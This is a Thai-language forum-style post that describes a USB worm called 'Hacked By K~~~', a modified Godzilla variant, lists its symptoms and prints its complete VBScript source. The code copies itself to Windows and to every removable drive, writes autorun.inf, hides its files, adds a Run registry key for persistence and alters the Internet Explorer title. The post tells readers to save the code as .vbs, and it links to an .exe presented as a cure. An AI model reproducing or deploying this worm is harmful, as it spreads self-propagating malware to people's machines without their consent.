ไวรัส Hacked By K~~~ (Godzilla)

ไวรัส Hacked By K~~~ (ก็มาจาก Hacked By Godzilla อ่ะแหละครับ แค่มาดัดแปลงนิดหน่อย อิอิ)

ไวรัสตัวนี้ไม่ค่อยร้ายแรงอะไร ไม่ทำลายงานในเครื่อง มันเป็นหนอนคอมพิวเตอร์คับ

มันจะติดกันทาง Flash Drive โดยมันจะก็อปตัวมันเองลงใน Flash Drive แล้วจะ Autorun เอง (ติดกันงอมแงม) 555 ซึ่ง ผมมี Source Code มันมาให้ครับ

 

อาการ

ดับเบิลคลิกเข้าไดร์ C: D: ไม่ได้

คลิกขวาที่ไดร์ต่างๆ จะมีคำว่า Autorun

และ ชื่อของ IE จะมี คำว่า Hacked By K~~~ ต่อท้าย

 

Source Code

 

'My name is Slow but sure V0.05
on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe MS32DLL.dll.vbs"
set fs = createobject("Scripting.FileSystemObject")
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & "MS32DLL.dll.vbs")
tf.attributes = 32
set tf=fs.createtextfile(winpath & "MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & "MS32DLL.dll.vbs")
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then
set tf=fs.getfile(flashdrive.path &"MS32DLL.dll.vbs")
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &"MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &"MS32DLL.dll.vbs")
tf.attributes =39
set tf =fs.getfile(flashdrive.path &"autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &"autorun.inf",2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &"autorun.inf")
tf.attributes=39
end if
next
set rg = createobject("WScript.Shell")
rg.regwrite "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunMS32DLL",winpath&"MS32DLL.dll.vbs"
rg.regwrite "HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMainWindow Title","Hacked by K~~~"
rg.regwrite "HKCRvbsfileDefaultIcon","shell32.dll,2"
if check <> 1 then
Wscript.sleep 200000
end if
loop while check<>1
set sd = createobject("Wscript.shell")
sd.run winpath&"explorer.exe /e,/select, "&Wscript.ScriptFullname

 

Copy Code ทั้งหมด Paste ลง Notepad แล้ว Save เป็นไฟล์ .vbs นะคับ

 

คับ ส่วนยาแก้ : http://gotoknow.org/file/president_amp/anyHack-1byte_bypresident.exe คับ